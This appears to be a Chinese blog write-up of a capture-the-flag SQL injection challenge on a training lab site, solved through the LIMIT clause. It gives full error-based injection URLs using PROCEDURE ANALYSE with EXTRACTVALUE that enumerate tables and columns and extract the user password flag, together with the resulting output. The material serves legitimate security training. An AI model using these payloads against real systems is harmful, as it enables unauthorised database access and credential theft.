http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
链接点进去,发现
Today
I meet a girl
然后F12 啥也没有,可是url里面有两个参数:start=0&num=1
然后多次尝试更改start&num 参数值
发现一个奇妙的事情:
![](https://img.haomeiwen.com/i8826796/f946200f6fa671cf.png)
![](https://img.haomeiwen.com/i8826796/94c4db47c741a193.png)
![](https://img.haomeiwen.com/i8826796/52b8770078e66a4b.png)
更改start的参数值可以显示不同内容,而num不可以
![](https://img.haomeiwen.com/i8826796/f5132f57a2598323.png)
这是一道limit的题,比以往遇到的有点不一样,真是一关比一关难啊。
那么我们先放上来一篇文章给大家看看
http://www.freebuf.com/articles/web/57528.html
select field from user where id=XXX order by id limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,SQL注入代码)),1);
这是limit注入的样栗
procedure analyse 通过分析select查询结果对现有的表的每一列给出优化的建议
extractvalue , EXTRACTVALUE (XML_document, XPath_string); 从目标XML中返回包含所查询值的字符串
rand(), 返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值。
concat , 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL
这里利用的是报错注入法,而且跟XPATH有关,至于具体内容大家可以自行搜一下
那么我们在输入SQL注入代码的地方开始正常搭建注入
procedure analyse(extractvalue(rand(),concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)%23&num=1
出现了报错提示,但是已经出来了结果
XPATH syntax error: 'article,user'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
那么我们继续在user中爆列名,article也是一样的。
别忘了,表名要16进制转码
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23&num=1 %23
懒得截图了
XPATH syntax error: ': id,username.password,lastloginI'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli5_5ba0bba6a6d1b30b956843f757889552/index.php on line 51
出现了:id,username.password,lastloginI
继续查询username表
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username) from user))),1)%23&num=1 %23
结果就出来了
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=6 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user where username=0x666c6167))),1)%23&num=1 %23
flag myflagishere
这道题好难啊
网友评论